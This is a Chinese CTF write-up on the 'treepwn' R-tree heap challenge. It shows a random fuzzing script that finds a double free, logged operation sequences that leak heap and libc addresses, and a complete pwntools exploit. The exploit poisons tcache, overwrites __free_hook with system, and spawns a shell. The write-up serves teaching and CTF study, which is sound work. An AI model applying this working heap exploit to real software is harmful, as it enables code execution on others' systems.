0%

fuzz在heap中的利用+UAF

treepwn

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
exp patchelf ./treepwn --set-interpreter ./ld-2.27.so  --replace-needed libc.so.6 ./libc-2.27.so --output treepwn1
1
2
3
4
5
6
treepwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=52acebb4c604a32e672707ee52940d700c1eab8c, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

IDA 逆向后,发现这是一个与 R 树有关的程序,代码量很大,打比赛时连漏洞都没有找到就g了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
int input; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
prepare();
tree_init();
while ( 1 )
{
printf("%s", menu);
__isoc99_scanf("%d", &input);
switch ( input )
{
case 0:
choice_insert_handler("%d");
break;
case 1:
choice_delete_handler("%d");
break;
case 2:
choice_edit_handler("%d");
break;
case 3:
choice_show_handler("%d");
break;
case 4:
choice_query_handler("%d");
break;
case 5:
tree_clear("%d");
return 0;
default:
puts("That's not a valid action");
break;
}
}
}

今天无意间看见一个博客,他使用了 fuzz 的思想找到了漏洞

fuzz 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def fuzz():
f=open('./log.txt','w')
for i in range(0x1000):
if(i%10==0):
a = randint(0,8)
b = randint(0,8)
add(a,b,str(i))
data0=p.recvuntil('Choice Table')
if 'two many' in data0:
break
f.write('add({},{},str({}))\n'.format(a,b,i))
success('add({},{},str({}))\n'.format(a,b,i))
elif(i%2==0):
a = randint(0,8)
b = randint(0,8)
dele(a,b)
data0=p.recvline()
if 'not exists' in data0:
continue
f.write('dele({},{})\n'.format(a,b))
success('dele({},{})\n'.format(a,b))
else:
continue
a = randint(0,8)
b = randint(0,8)
c = randint(0,8)
d = randint(0,8)
query(a,b,c,d)
data0=p.recvuntil('Choice Table')
if 'totally 0 elements' in data0:
continue
elif '\x55' in data0:
f.write('query({},{},{},{})\n'.format(a,b,c,d))
success('query({},{},{},{})\n'.format(a,b,c,d))
break
elif '\x56' in data0:
f.write('query({},{},{},{})\n'.format(a,b,c,d))
success('query({},{},{},{})\n'.format(a,b,c,d))
break
f.close()
  • 随机执行 add,dele,query 模块,并记录到 log.txt 中
  • 发现程序有报错:

1658814901718

  • 把 log.txt 中的记录重新写入程序,发现 Double free:

1658815181437

此时我们就可以分析造成 Double free 的恶意 payload(记录于 log.txt 中)来定位漏洞点

恶意 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
add(1,5,str(0))
add(7,6,str(10))
add(0,8,str(20))
add(5,5,str(30))
add(5,1,str(40))
add(7,6,str(50))
add(6,6,str(60))
dele(7,6)
add(7,3,str(70))
add(6,8,str(80)) # target
add(8,0,str(90))
dele(5,1)
add(3,5,str(100))
dele(1,5)
add(5,0,str(110))
add(0,1,str(120))
add(5,3,str(130))
dele(3,5)
add(6,3,str(140))
add(1,5,str(150))
add(0,0,str(160))
add(1,6,str(170))
dele(5,5)
add(8,2,str(180))
dele(6,6)
add(0,2,str(190))
dele(1,6)
add(1,5,str(200))
dele(0,8)
add(4,8,str(210))
add(6,5,str(220))
add(6,3,str(230))
add(8,2,str(240))
add(1,4,str(250))
add(7,2,str(260))
add(3,1,str(270))
add(3,6,str(280))
add(6,2,str(290))
dele(1,4)
add(4,2,str(300))
dele(0,2)
add(2,1,str(310))
dele(5,3)
add(4,5,str(320))
dele(2,1)
dele(4,5)
add(2,0,str(330))
dele(7,2)
add(4,4,str(340))
add(7,8,str(350))
add(0,4,str(360))
dele(0,4)
dele(5,0)
add(0,0,str(370))
dele(6,8) # target
add(7,0,str(380))
add(7,6,str(390))
dele(4,4)
add(1,0,str(400))
dele(1,0)
add(8,2,str(410))
dele(7,8)
add(4,5,str(420))
add(1,6,str(430))
dele(3,1)
dele(7,6)
add(1,7,str(440))
add(0,8,str(450))
dele(1,6)
add(2,7,str(460))
add(7,0,str(470))
dele(1,7)
add(4,2,str(480))
dele(7,0)
add(3,3,str(490))
add(5,4,str(500))
dele(5,3)
add(1,7,str(510))
dele(3,6)
dele(0,0)
add(6,7,str(520))
add(4,1,str(530))
dele(5,4)
dele(6,7)
add(7,4,str(540))
add(6,7,str(550))
add(8,7,str(560))
add(2,2,str(570))
dele(2,0)
add(8,6,str(580))
add(3,6,str(590))
dele(8,7)
add(5,1,str(600))
dele(4,1)
add(2,8,str(610))
dele(1,7)
dele(6,2)
add(2,2,str(620))
dele(5,1)
add(3,1,str(630))
dele(6,5)
add(0,3,str(640))
add(6,8,str(650)) # target
add(3,6,str(660))
dele(6,8) # target
dele(8,0)
add(4,2,str(670))
dele(2,2)
add(4,3,str(680))
dele(0,1)
dele(3,6)
add(4,5,str(690))
dele(4,8)
dele(4,3)
add(1,2,str(700))
dele(6,8) # target
  • 最后两个 dele(6,8) 触发了 Double free
  • 正常的 free 是有防止 UAF 的,但是在 tree_split_leaf_node 函数里面就没有
  • 至于为什么会进入 tree_split_leaf_node 这一点我还不清楚,但只要知道这个 payload 可以触发 Double free 就好了

打上断点进行调试,然后顺利 leak heap_base:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
def test():
add(1,5,str(0))
add(7,6,str(10))
add(0,8,str(20))
add(5,5,str(30))
add(5,1,str(40))
add(7,6,str(50))
add(6,6,str(60))
dele(7,6)
add(7,3,str(70))
add(6,8,str(80))
add(8,0,str(90))
dele(5,1)
add(3,5,str(100))
dele(1,5)
add(5,0,str(110))
add(0,1,str(120))
add(5,3,str(130))
dele(3,5)
add(6,3,str(140))
add(1,5,str(150))
add(0,0,str(160))
add(1,6,str(170))
dele(5,5)
add(8,2,str(180))
dele(6,6)
add(0,2,str(190))
dele(1,6)
add(1,5,str(200))
dele(0,8)
add(4,8,str(210))
add(6,5,str(220))
add(6,3,str(230))
add(8,2,str(240))
add(1,4,str(250))
add(7,2,str(260))
add(3,1,str(270))
add(3,6,str(280))
add(6,2,str(290))
dele(1,4)
add(4,2,str(300))
dele(0,2)
add(2,1,str(310))
dele(5,3)
add(4,5,str(320))
dele(2,1)
dele(4,5)
add(2,0,str(330))
dele(7,2)
add(4,4,str(340))
add(7,8,str(350))
add(0,4,str(360))
dele(0,4)
dele(5,0)
add(0,0,str(370))
dele(6,8)
add(7,0,str(380))
add(7,6,str(390))
dele(4,4)
add(1,0,str(400))
dele(1,0)
add(8,2,str(410))
dele(7,8)
add(4,5,str(420))
add(1,6,str(430))
dele(3,1)
dele(7,6)
add(1,7,str(440))
add(0,8,str(450))
dele(1,6)
add(2,7,str(460))
add(7,0,str(470))
dele(1,7)
add(4,2,str(480))
dele(7,0)
add(3,3,str(490))
add(5,4,str(500))
dele(5,3)
add(1,7,str(510))
dele(3,6)
dele(0,0)
add(6,7,str(520))
add(4,1,str(530))
dele(5,4)
dele(6,7)
add(7,4,str(540))
add(6,7,str(550))
add(8,7,str(560))
add(2,2,str(570))
dele(2,0)
add(8,6,str(580))
add(3,6,str(590))
dele(8,7)
add(5,1,str(600))
dele(4,1)
add(2,8,str(610))
dele(1,7)
dele(6,2)
add(2,2,str(620))
dele(5,1)
add(3,1,str(630))
dele(6,5)
add(0,3,str(640))
add(6,8,str(650))
add(3,6,str(660))
dele(6,8)
#dele(8,0)
#add(4,2,str(670))
#dele(2,2)
#add(4,3,str(680))
#dele(0,1)
#dele(3,6)
#add(4,5,str(690))
#dele(4,8)
#dele(4,3)
#add(1,2,str(700))
#dele(6,8)

test()
show(6,8)

p.recvuntil("found!!! its name: ")
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr-0x10
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

用同样的方法,在原来的基础上再次进行 fuzz,得到恶意 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
add(5,8,str(0))
dele(4,8)
add(1,5,str(10))
dele(7,4)
add(2,0,str(20))
dele(4,5)
add(5,2,str(30))
dele(6,7)
add(6,7,str(40))
dele(8,2)
dele(6,7)
add(6,4,str(50))
dele(4,2)
add(3,5,str(60))
dele(7,3)
add(0,3,str(70))
add(8,7,str(80))
add(6,0,str(90))
dele(5,2)
dele(8,0)
add(4,7,str(100))
add(0,3,str(110))
dele(6,4)
dele(3,1)
add(0,3,str(120))
add(3,1,str(130))
dele(3,5)
dele(2,0)
add(5,5,str(140))
dele(2,2)
add(2,4,str(150))
dele(0,8)
add(8,0,str(160))
add(1,1,str(170))
dele(6,0)
add(7,0,str(180))
dele(1,5) # target
dele(1,5) # target
  • 利用这个 UAF 可以 leak libc_base

想要完成利用还差一次 fuzz(用于进行 tcache UAF),但是程序对 add 的次数进行了限制,我们可以先删减前两个 payload 中的 add 再进行 fuzz

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
from pwn import * 
from random import randint

p = process("./treepwn")
elf=ELF('./treepwn')
libc=ELF('./libc-2.27.so')

context.arch = 'amd64'
context.os = 'linux'
context.log_level='debug'

def add(x,y,name):
p.sendlineafter("> ",str(0))
p.sendlineafter("new element x-coordinate value: ",str(x))
p.sendlineafter("new element y-coordinate value: ",str(y))
p.sendlineafter("new element name: ",name.ljust(0x20,'\x00'))

def dele(x,y):
p.sendlineafter("> ",str(1))
p.sendlineafter("want element x-coordinate value: ",str(x))
p.sendlineafter("want element y-coordinate value: ",str(y))


def query(a,b,c,d):
p.sendlineafter("> ",str(4))
p.sendlineafter("value: ",str(a))
p.sendlineafter("value: ",str(b))
p.sendlineafter("value: ",str(c))
p.sendlineafter("value: ",str(d))

def show(x,y):
p.sendlineafter("> ",str(3))
p.sendlineafter("want element x-coordinate value: ",str(x))
p.sendlineafter("want element y-coordinate value: ",str(y))

def edit(x,y,name):
p.sendlineafter("> ",str(2))
p.sendlineafter("want element x-coordinate value: ",str(x))
p.sendlineafter("want element y-coordinate value: ",str(y))
p.sendlineafter("input the edited name: ",name.ljust(0x20,'\x00'))

def fuzz():
f=open('./log.txt','w')
for i in range(0x1000):
if(i%10==0):
a = randint(0,8)
b = randint(0,8)
add(a,b,str(i))
data0=p.recvuntil('Choice Table')
if 'two many' in data0:
break
f.write('add({},{},str({}))\n'.format(a,b,i))
success('add({},{},str({}))\n'.format(a,b,i))
elif(i%2==0):
a = randint(0,8)
b = randint(0,8)
dele(a,b)
data0=p.recvline()
if 'not exists' in data0:
continue
f.write('dele({},{})\n'.format(a,b))
success('dele({},{})\n'.format(a,b))
else:
continue
a = randint(0,8)
b = randint(0,8)
c = randint(0,8)
d = randint(0,8)
query(a,b,c,d)
data0=p.recvuntil('Choice Table')
if 'totally 0 elements' in data0:
continue
elif '\x55' in data0:
f.write('query({},{},{},{})\n'.format(a,b,c,d))
success('query({},{},{},{})\n'.format(a,b,c,d))
break
elif '\x56' in data0:
f.write('query({},{},{},{})\n'.format(a,b,c,d))
success('query({},{},{},{})\n'.format(a,b,c,d))
break
f.close()

def test():
add(1,5,str(0))
add(7,6,str(10))
add(0,8,str(20))
add(5,5,str(30))
add(5,1,str(40))
add(7,6,str(50))
add(6,6,str(60))
dele(7,6)
add(7,3,str(70))
add(6,8,str(80))
add(8,0,str(90))
dele(5,1)
add(3,5,str(100))
dele(1,5)
add(5,0,str(110))
add(0,1,str(120))
add(5,3,str(130))
dele(3,5)
add(6,3,str(140))
add(1,5,str(150))
add(0,0,str(160))
add(1,6,str(170))
dele(5,5)
add(8,2,str(180))
dele(6,6)
add(0,2,str(190))
dele(1,6)
add(1,5,str(200))
dele(0,8)
add(4,8,str(210))
add(6,5,str(220))
add(6,3,str(230))
add(8,2,str(240))
add(1,4,str(250))
add(7,2,str(260))
add(3,1,str(270))
add(3,6,str(280))
add(6,2,str(290))
dele(1,4)
add(4,2,str(300))
dele(0,2)
add(2,1,str(310))
dele(5,3)
add(4,5,str(320))
dele(2,1)
dele(4,5)
add(2,0,str(330))
dele(7,2)
add(4,4,str(340))
add(7,8,str(350))
add(0,4,str(360))
dele(0,4)
dele(5,0)
#add(0,0,str(370))
dele(6,8)
add(7,0,str(380))
add(7,6,str(390))
dele(4,4)
add(1,0,str(400))
dele(1,0)
add(8,2,str(410))
dele(7,8)
add(4,5,str(420))
add(1,6,str(430))
dele(3,1)
dele(7,6)
add(1,7,str(440))
add(0,8,str(450))
dele(1,6)
add(2,7,str(460))
add(7,0,str(470))
dele(1,7)
add(4,2,str(480))
dele(7,0)
add(3,3,str(490))
add(5,4,str(500))
dele(5,3)
add(1,7,str(510))
dele(3,6)
dele(0,0)
add(6,7,str(520))
add(4,1,str(530))
dele(5,4)
dele(6,7)
add(7,4,str(540))
add(6,7,str(550))
add(8,7,str(560))
add(2,2,str(570))
dele(2,0)
add(8,6,str(580))
add(3,6,str(590))
dele(8,7)
add(5,1,str(600))
dele(4,1)
add(2,8,str(610))
dele(1,7)
dele(6,2)
add(2,2,str(620))
dele(5,1)
add(3,1,str(630))
dele(6,5)
add(0,3,str(640))
add(6,8,str(650))
add(3,6,str(660))
dele(6,8)
#dele(8,0)
#add(4,2,str(670))
#dele(2,2)
#add(4,3,str(680))
#dele(0,1)
#dele(3,6)
#add(4,5,str(690))
#dele(4,8)
#dele(4,3)
#add(1,2,str(700))
#dele(6,8)

def test2():
add(5,8,"yhellow")
dele(4,8)
add(1,5,str(10))
dele(7,4)
add(2,0,str(20))
dele(4,5)
add(5,2,str(30))
dele(6,7)
#add(6,7,str(40))
dele(8,2)
dele(6,7)
add(6,4,str(50))
dele(4,2)
add(3,5,str(60))
dele(7,3)
#add(0,3,str(70))
#add(8,7,str(80))
add(6,0,"/bin/sh")
dele(5,2)
dele(8,0)
add(4,7,str(100))
add(0,3,str(110))
dele(6,4)
dele(3,1)
add(0,3,str(120))
add(3,1,str(130))
dele(3,5)
dele(2,0)
#add(5,5,str(140))
#dele(2,2)
#add(2,4,str(150))
#dele(0,8)
#add(8,0,str(160))
#add(1,1,str(170))
#dele(6,0)
#add(7,0,str(180))
dele(1,5)
#dele(1,5)

def test3():
add(1,7,str(0))
dele(3,1)
dele(8,6)
add(4,7,str(10))
dele(3,1)
dele(1,7)
add(3,8,str(20))
dele(3,6)
dele(8,2)
#dele(8,2)


#gdb.attach(p,"b *$rebase(0x3CAD)\n")
#gdb.attach(p)

#fuzz()
test()
show(6,8)

p.recvuntil("found!!! its name: ")
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr-0x10
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

#fuzz()
test2()

edit(1,5,p64(heap_base+0x5f0-0x10-0x10))

add(7,7,"there")
add(8,8,p64(0)*3+p64(0x571))
dele(5,8)
show(5,8)

p.recvuntil("found!!! its name: ")
p.recv(8)
leak_addr = u64(p.recv(8))
libc_base = leak_addr-0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
system_libc=libc_base+libc.sym['system']
onegadget = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = onegadget[2]+libc_base

success("free_hook >> "+hex(free_hook))
success("system_libc >> "+hex(system_libc))
success("one_gadget >> "+hex(one_gadget))

#fuzz()
test3()
edit(8,2,p64(free_hook))
add(7,7,"there")
add(7,7,p64(system_libc))

dele(6,0)

p.interactive()

小结:

先挂上这位大佬的博客:

真的学到了不少东西,涨见识了…

感觉这种 fuzz 主要是来找 UAF 的,对堆溢出可能没有什么办法,如果程序严格限制各个模块执行次数,那么这种 fuzz 就很难发挥作用了